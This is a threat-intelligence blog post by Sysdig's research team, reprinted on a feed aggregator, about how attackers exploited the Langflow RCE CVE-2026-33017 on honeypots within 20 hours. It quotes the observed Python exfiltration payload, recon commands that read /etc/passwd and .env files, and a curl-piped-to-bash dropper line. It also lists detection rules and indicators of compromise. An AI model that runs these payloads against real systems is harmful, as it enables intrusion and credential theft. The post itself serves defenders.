惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

The Register - Security
The Register - Security
云风的 BLOG
云风的 BLOG
U
Unit 42
F
Fortinet All Blogs
The GitHub Blog
The GitHub Blog
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
D
Docker
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
S
Secure Thoughts
Hacker News: Ask HN
Hacker News: Ask HN
Vercel News
Vercel News
S
Security @ Cisco Blogs
GbyAI
GbyAI
Stack Overflow Blog
Stack Overflow Blog
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
I
Intezer
MongoDB | Blog
MongoDB | Blog
AI
AI
MyScale Blog
MyScale Blog
Engineering at Meta
Engineering at Meta
Y
Y Combinator Blog
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
P
Proofpoint News Feed
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
W
WeLiveSecurity
博客园 - 叶小钗
S
SegmentFault 最新的问题
N
News | PayPal Newsroom
WordPress大学
WordPress大学
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
D
DataBreaches.Net
小众软件
小众软件
Microsoft Azure Blog
Microsoft Azure Blog
Spread Privacy
Spread Privacy
H
Help Net Security
美团技术团队
博客园 - 司徒正美
T
Threat Research - Cisco Blogs
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
K
Kaspersky official blog
Application and Cybersecurity Blog
Application and Cybersecurity Blog
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
V
Vulnerabilities – Threatpost
TaoSecurity Blog
TaoSecurity Blog
N
Netflix TechBlog - Medium
L
Lohrmann on Cybersecurity
J
Java Code Geeks
量子位
Martin Fowler
Martin Fowler
博客园_首页

Sysdig Blog

Masterclass: AI is more than ChatGPT and LLMs CVE-2026-39987 update: How attackers weaponized marimo to deploy a blockchain botnet via HuggingFace Kubernetes 1.36 - New security features 5 steps to securing AI workloads Marimo OSS Python Notebook RCE: From Disclosure to Exploitation in Under 10 Hours Security briefing: March 2026 The Sysdig MCP server is now available in AWS Marketplace Risk isn’t reduced until you take action: How teams resolve issues in the cloud AI infrastructure security: Why it deserves its own category Three pillars for building effective runtime-powered cloud defense, the right way Closing the cloud security gap with runtime security Seeing risk isn’t stopping it: Why visibility alone isn’t enough TeamPCP expands: Supply chain compromise spreads from Trivy to Checkmarx GitHub Actions AI coding agents are running on your machines — Do you know what they're doing? Runtime security for AI coding agents: Protecting AI-assisted development How runtime insights power every cloud security use case Inline Cloud Response: Accelerating AWS threat containment for SOC teams Runtime malware detection for AWS Fargate Detecting CVE-2026-3288 & CVE-2026-24512: Ingress-nginx configuration injection vulnerabilities for Kubernetes Malware detection with Sysdig Security briefing: February 2026 Leveling up Kubernetes Posture: From baselines to risk-aware admission Eliminating runtime blind spots: How CleanStart and Sysdig build continuous trust across the container lifecycle LLMjacking: From Emerging Threat to Black Market Reality Real risks live at runtime: Why CISOs must care about deep telemetry in 2026 Sysdig named a Leader in the Forrester Wave™: Cloud Native Application Protection Solutions, Q1 2026 How to run rootless containers AI-assisted cloud intrusion achieves admin access in 8 minutes Security briefing: January 2026 Securing GPU-accelerated AI workloads in Oracle Kubernetes Engine Bringing OSS runtime security to AWS: Falco integration with AWS Security Hub CSPM Our customers have spoken: Sysdig rated a Strong Performer in Gartner® Voice of the Customer for Cloud-Native Application Protection Platforms Protecting sensitive business data in preparation for the organization's Gen AI VoidLink threat analysis: Sysdig discovers C2-compiled kernel rootkits AI is still a workload: A practical guide to securing AI workloads How threat actors are using self-hosted GitHub Actions runners as backdoors How Sysdig Sage delivers AI-powered, real-world vulnerability management Security briefing: December 2025 Top 10 ways to get breached in 2026 EtherRAT dissected: How a React2Shell implant delivers 5 payloads through blockchain C2 Introducing runtime file integrity monitoring and response with Sysdig FIM How to detect multi-stage attacks with runtime behavioral analytics EtherRAT: DPRK uses novel Ethereum implant in React2Shell attacks Detecting React2Shell: The maximum-severity RCE vulnerability affecting React Server Components and Next.js The rise of AI agents: How autonomous AI Is transforming cloud security Kubernetes 1.35 - New security features The Urgency of Securing AI Workloads for CISOs Security briefing: November 2025 Quantum and the cloud: Science fiction turned security strategy Cloud security, the right way: What the industry should demand (and why "good enough" isn't) Return of the Shai-Hulud worm affects over 25,000 GitHub repositories Detecting CVE-2024-1086: The decade-old Linux kernel vulnerability that’s being actively exploited in ransomware campaigns What’s old is new again: How to demystify AI security with AIBOMs Securing Kubernetes with agentic cloud security How agentic cloud security reduces real risks Hunting reverse shells: How the Sysdig Threat Research Team builds smarter detection rules Shifting left with AI and MCP: Sysdig + Amazon Q Developer How Falco and Stratoshark close the gap between open source runtime detection and deep forensic analysis Investigating security issues with ChatGPT and the GitHub MCP server New runc vulnerabilities allow container escape: CVE-2025-31133, CVE-2025-52565, CVE-2025-52881 Harden your LLM security with OWASP Security briefing: October 2025 How agentic AI is changing cloud security Kubernetes Incident Response: Detect, investigate, and contain in under 10 minutes Sysdig recognized as a Cloud Security Leader in Latio Tech Cloud Security Market Report AI echolocation of cloud risks using Sysdig & Snyk MCP servers Sysdig MCP Server: Bridging AI and cloud security insights Understanding CVE-2025-49844: “RediShell” Critical Remote Code Execution in Redis How Sysdig secures your containers and Kubernetes Sysdig Security Briefing: September 2025 Cloud security, the right way: The 3 pillars of real-time defense Open source spotlight: Bringing web application security to Falco with Falcoya's Nginx plugin Malicious NPM packages: Are you exposed? AI for SOC teams: 5 cloud security prompts to start your day with Sysdig Sage™ Shai-Hulud: The novel self-replicating worm infecting hundreds of NPM packages ZynorRAT technical analysis: Reverse engineering a novel, Turkish Go-based RAT Modern vulnerability management, built for the cloud Build your AWS incident response playbook with open source tools 2025 Gartner® CNAPP Market Guide: Runtime visibility is no longer optional Threat hunting with Sysdig: Uncovering “IngressNightmare” Open source spotlight: From alerts to action with AI-powered Falco Vanguard From triage to action: How Sysdig’s agentic cloud security platform slashes noise and accelerates remediation The vision comes to life: Agentic cloud security with Sysdig Sage™ Data security findings: A technical deep dive Connecting runtime to source: Sysdig and Semgrep integration Fix what matters, faster: How Sysdig and Semgrep are unifying security without silos – from code to runtime Defending sensitive data with Sysdig Secure Redefining cloud security, the right way Join the movement: The Sysdig Open Source Community is live A smarter, safer cloud in the age of AI Unifying detection and response: Sysdig + Cortex XSOAR for security at cloud speed The future of security is open, and it needs a unified hub: The Sysdig Open Source Community is here CVE-2025-53104: Command injection via GitHub Actions workflow in gluestack-ui Why MCP server security is critical for AI-driven enterprises What’s new in Sysdig — June 2025 AI-powered CNAPP with Sysdig Sage™ Revolutionizing Cybersecurity Search with Sysdig Sage™ Sysdig Threat Bulletin: Iranian Cyber Threats The end of the prioritization-only era: Vulnerability management needs action Dangerous by default: Insecure GitHub Actions found in MITRE, Splunk, and other open source repositories
CVE-2026-33017: How attackers compromised Langflow AI pipelines in 20 hours
Sysdig Threat Research Team · 2026-03-19 · via Sysdig Blog

On March 17, 2026, a critical vulnerability was disclosed in Langflow, the open-source visual framework for building AI agents and Retrieval-Augmented Generation (RAG) pipelines. The vulnerability, CVE-2026-33017, is an unauthenticated remote code execution (RCE) in the public flow build endpoint that allows attackers to execute arbitrary Python code on any exposed Langflow instance, with no credentials required and only a single HTTP request to get moving.

Within 20 hours of the advisory’s publication, the Sysdig Threat Research Team (TRT) observed the first exploitation attempts in the wild. No public proof-of-concept (PoC) code existed at the time. Attackers built working exploits directly from the advisory description and began scanning the internet for vulnerable instances. Exfiltrated information included keys and credentials, which provided access to connected databases and potential software supply chain compromise.

Within hours of the advisory, the Sysdig TRT deployed a fleet of honeypot nodes with vulnerable Langflow instances across multiple cloud providers and regions. What followed was a textbook demonstration of how quickly modern threat actors are operationalizing new vulnerabilities. Our findings are detailed below.

Timeline

Time (UTC)

Event

Mar 17, 20:05

Advisory GHSA-vwmf-pq79-vjvx published on GitHub

Mar 18, 16:04

First exploitation attempt observed (from 77.110.106.154)

Mar 18, 16:05

Second attacker (209.97.165.247) begins probing

Mar 18, 16:39

Sustained scanning begins across multiple nodes

Mar 18, 20:55

First advanced attacker progresses to environment variable exfiltration

The gap between advisory publication and first exploitation was approximately 20 hours. This is notable because no public PoC repository existed on GitHub at the time of the first attack. The advisory itself contained enough detail (the vulnerable endpoint path and the mechanism for code injection via flow node definitions) for attackers to construct a working exploit without additional research.

About CVE-2026-33017

Langflow is a popular open-source platform (145,000+ GitHub stars). It enables users to build AI workflows using a visual drag-and-drop interface. Langflow provides a REST API that allows programmatic interaction with flows, including building and executing them.

CVE-2026-33017 affects the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint, which is designed to allow unauthenticated users to build public flows. The vulnerability arises because this endpoint accepts attacker-supplied flow data containing arbitrary Python code in node definitions, which is then executed server-side without sandboxing. This is distinct from CVE-2025-3248, an earlier Langflow RCE added to CISA's Known Exploited Vulnerabilities catalog in May 2025. CVE-2026-33017 has not yet been added to the KEV despite confirmed active exploitation.

What Sysdig TRT observed

Over the course of 48 hours following the advisory publication, we recorded CVE-2026-33017 exploit events from 6 unique source IPs across our honeypot fleet.

Phase 1: Automated Scanning (hours 20-21)

The earliest attempts at exploitation came from automated scanning infrastructure. Four source IPs arrived within minutes of each other, all sending an identical payload. These likely represent a single operator scanning through multiple proxies or VPS nodes rather than four independent attackers:

_r = __import__('os').popen('id').read()
_enc = __import__('base64').b64encode(_r.encode()).decode()
__import__('urllib.request').request.urlopen('http://<unique-subdomain>.oast.*//' + _enc)

The payload executes id, base64-encodes the output, and exfiltrates it to an interactsh callback server. Each request uses a unique interactsh subdomain, but the code template is identical across all IPs.

16:04:57 UTC — 77.110.106.154 → id → d6tcpc6fl...oast.* callback
16:05:23 UTC — 209.97.165.247 → id → d6tcpcjhc...oast.* callback
16:08:41 UTC — 188.166.209.86 → id → d6tcpe7ns...oast.* callback
16:39:32 UTC — 205.237.106.117 → id → d6td5s9qt...oast.* callback

The requests explicitly identify themselves as nuclei. Every exploit request includes Cookie: client_id=nuclei-scanner in the headers, and a preceding flow creation request names the flow nuclei-cve-2026-33017:

Cookie: client_id=nuclei-scanner
{"name": "nuclei-cve-2026-33017", "data": {"nodes": [], "edges": []}}

The named exploit requests, in addition to other characteristics, suggest nuclei as the scanning tool:

  • User-Agent rotation: One IP (205.237.106.117) used seven different User-Agent (UA) strings across eight requests, including Knoppix; Linux i686 and Fedora; Linux i686. These appear in nuclei's random User-Agent wordlist and are not sent by any real browser.
  • Identical payload template: Every request across all four IPs uses the same Python code structure with only the interactsh callback subdomain varying, consistent with a nuclei template using the {{interactsh-url}} placeholder.

At the time of this writing, no CVE-2026-33017 template exists in the official nuclei-templates repository. Therefore, what we identified is likely a privately authored template, written and deployed at scale within hours of disclosure. Whether the template author is the same person operating the scans or distributing the template to others is unclear from this data alone.

Phase 2: Custom exploit scripts (hours 21-24)

In contrast to the nuclei scans, a second class of attacker appeared using custom Python scripts (python-requests/2.32.3, consistent across all requests, no UA rotation). These operators moved beyond validation into active reconnaissance. One attacker (83.98.164.238) progressed through a methodical kill chain:

  1. Directory listing and credential files: ls -al /root; ls /app; cat /etc/passwd
  2. System fingerprint: id (returned uid=1000(langflow))
  3. Stage-2 delivery attempt: bash -c "$(curl -fsSL http://173.212.205.251:8443/z)"

The stage-2 dropper URL (http://173.212.205.251:8443/z) indicates the attacker had pre-staged infrastructure ready to deploy once they confirmed a vulnerable target. This is not ad-hoc testing. This is an attacker with a prepared exploitation toolkit moving from vulnerability validation to payload deployment in a single session.

Phase 3: Data harvesting (hours 24-30)

The most advanced activity came from IP 173.212.205.251, which conducted a thorough credential harvesting operation:

  • Environment variable dump: Executed env to capture the full process environment, which in a typical Langflow deployment includes database connection strings, API keys, and cloud credentials.
  • File system enumeration: Ran find /app -name "*.db" -o -name "*.env" to locate configuration files and databases.
  • Targeted file reads: Extracted the contents of .env files containing application secrets.

Shared infrastructure

Two of the source IPs running custom exploit scripts (83.98.164.238 and 173.212.205.251) both exfiltrated data to the same command-and-control server at 143.110.183.86:8080. The stage-2 dropper was also hosted on 173.212.205.251:8443. This overlap likely indicates a single operator working through multiple proxies or VPS nodes, though it could also reflect a shared exploitation toolkit.

What this means for defenders

The 20-hour window between advisory publication and first exploitation is consistent with an accelerating trend that the Zero Day Clock project has been tracking across 83,000+ CVEs. The data shows the median time-to-exploit (TTE) has collapsed from 771 days in 2018 to just hours in 2024. By 2023, 44% of exploited vulnerabilities were weaponized within 24 hours of disclosure, and 80% of public exploits appeared before the official advisory was even published. Our observation of CVE-2026-33017 fits squarely in this trend: working exploits appeared within a day, built from nothing more than the advisory text.

This timeline compression poses serious challenges for defenders. The median time for organizations to deploy patches is approximately 20 days, meaning defenders are exposed and vulnerable for far too long. Threat actors are monitoring the same advisory feeds that defenders use, and they are building exploits faster than most organizations can assess, test, and deploy patches. Organizations must completely reconsider their vulnerability programs to meet reality.

Furthermore, several factors likely made CVE-2026-33017 particularly attractive to attackers:

  • No authentication required. The vulnerable endpoint is publicly accessible by design, meaning mass scanning is trivially automated.
  • Simple exploitation. The attack requires a single HTTP POST request with a JSON payload: no multi-step chains, no session management, no CSRF tokens.
  • Massive attack surface. Langflow's 145,000+ GitHub stars translate to a large number of exposed instances. Many are deployed by data science teams who may not follow the same patching cadence as production infrastructure.
  • High-value targets and software supply chain compromise. Langflow instances are configured with API keys for OpenAI, Anthropic, AWS, and database connections. Compromising one instance can provide lateral access to cloud accounts and data stores.

Runtime detection

When the patch window collapses to hours, runtime detection becomes the primary line of defense. The exploitation patterns observed in this campaign produce clear signals at the system call level that tools like Falco and Sysdig Secure are designed to catch, without any prior knowledge of the specific CVE.

Every attacker in this campaign followed the same post-exploitation playbook: execute a shell command via Python's os.popen(), then exfiltrate the output over HTTP. Each stage of this kill chain maps to existing Falco rules provided out of the box that ship with Sysdig Secure:

Attack Stage

Observed Behavior

Sysdig Rule

Credential theft

Reading /etc/passwd, /etc/shadow, .env

Read sensitive file untrusted

OOB validation

DNS lookup to .oast.live, .oastify.com

DNS Lookup for Offensive Security Tool Domain Detected

Stage-2 delivery

curl -fsSL http://attacker/z \| sh

Inline Shell Execution by Wget/Curl

C2 exfiltration

Outbound connection to 143.110.183.86:8080

Outbound Connection to C2 Servers

The key advantage of runtime detection in this context is that it works on day zero. These rules do not require a signature for CVE-2026-33017 specifically because they detect the exploitation behavior, not the vulnerability. The same rules would fire regardless of whether the initial access came through CVE-2026-33017, CVE-2025-3248, or any other RCE in an application.

Indicators of Compromise

Source IPs

IP

Location

ASN

Activity

77.110.106.154

DE (Frankfurt)

AEZA GROUP LLC

Nuclei scan, interactsh callback

209.97.165.247

SG (Singapore)

DigitalOcean

Nuclei scan, interactsh callback

188.166.209.86

SG (Singapore)

DigitalOcean

Nuclei scan, interactsh callback

205.237.106.117

FR (Paris)

PUSHPKT OU

Nuclei scan, interactsh callback

83.98.164.238

NL (Lelystad)

Accenture B.V.

Custom exploit, recon, stage-2 dropper delivery

173.212.205.251

FR (Lauterbourg)

Contabo GmbH

Custom exploit, env/credential harvesting, dropper host

C2 and staging infrastructure

Indicator

Type

Location

Context

143.110.183.86:8080

C2 server

IN, DigitalOcean

Receives base64-encoded exfiltration

173.212.205.251:8443

Dropper host

FR, Contabo GmbH

Serves stage-2 payload at /z

Dropper URLs

http://143.110.183.86:8080/
http://173.212.205.251:8443/z

Interactsh callback domains

Twelve unique interactsh subdomains were observed across the nuclei scanning activity, using .oast.live, .oast.me, .oast.pro, and .oast.fun TLDs. Below is one sample:

d6tcpc6flblph01gdcb0ku9ixih393m54.oast.live
d6tcpe7nsv6kk9rdrpggi37zmjfxw9imr.oast.me
d6td5s9qte0bea7273e0wuou77jjx77uk.oast.pro
d6tgbe1qte0a8rkffb3gqabqm8517exd3.oast.fun

Note: Source IPs may be proxies or VPS nodes rather than the operator's true origin. The interactsh subdomains are ephemeral and rotate per scan.

Recommendations

  • Update Langflow immediately. If a patched version is not yet available, restrict network access to the /api/v1/build_public_tmp endpoint or disable public flow building entirely.
  • Audit environment variables and secrets on any publicly exposed Langflow instance. Rotate API keys, database passwords, and cloud credentials as a precaution.
  • Monitor for outbound connections to unusual ports or known callback services (oastify.com, interact.sh, dnslog.cn), which indicate active exploitation and data exfiltration.
  • Restrict network access to Langflow instances using firewall rules or a reverse proxy with authentication. Langflow should not be directly exposed to the internet without an authentication layer.
  • Inventory the AI/ML tooling in your environment. Platforms like Langflow, n8n, and other workflow automation tools are increasingly targeted because they often run with broad API access and are deployed outside of standard security review processes.

Conclusion

CVE-2026-33017, which served as sufficient documentation for threat actors to build working exploits, demonstrates a pattern that is becoming the norm rather than the exception: critical vulnerabilities in popular open-source tools are weaponized within hours of disclosure, often before public PoC code is even available. Furthermore, AI workloads are increasingly falling into threat actors’ crosshairs as they offer high-value data, software supply chain access, and often lack robust security. As Zero Day Clock makes clear, this is not an outlier. The collapse from months-long exploitation timelines to same-day weaponization is a structural shift in how vulnerabilities are exploited today.

For defenders, the practical takeaway is that the window between "advisory publication" and "active exploitation" is now measured in hours, not days or weeks. Organizations that rely on scheduled patch cycles to address critical vulnerabilities are operating on a timeline that attackers have already outpaced. Runtime detection, network segmentation, and rapid response capabilities are essential to bridging the gap between disclosure and remediation.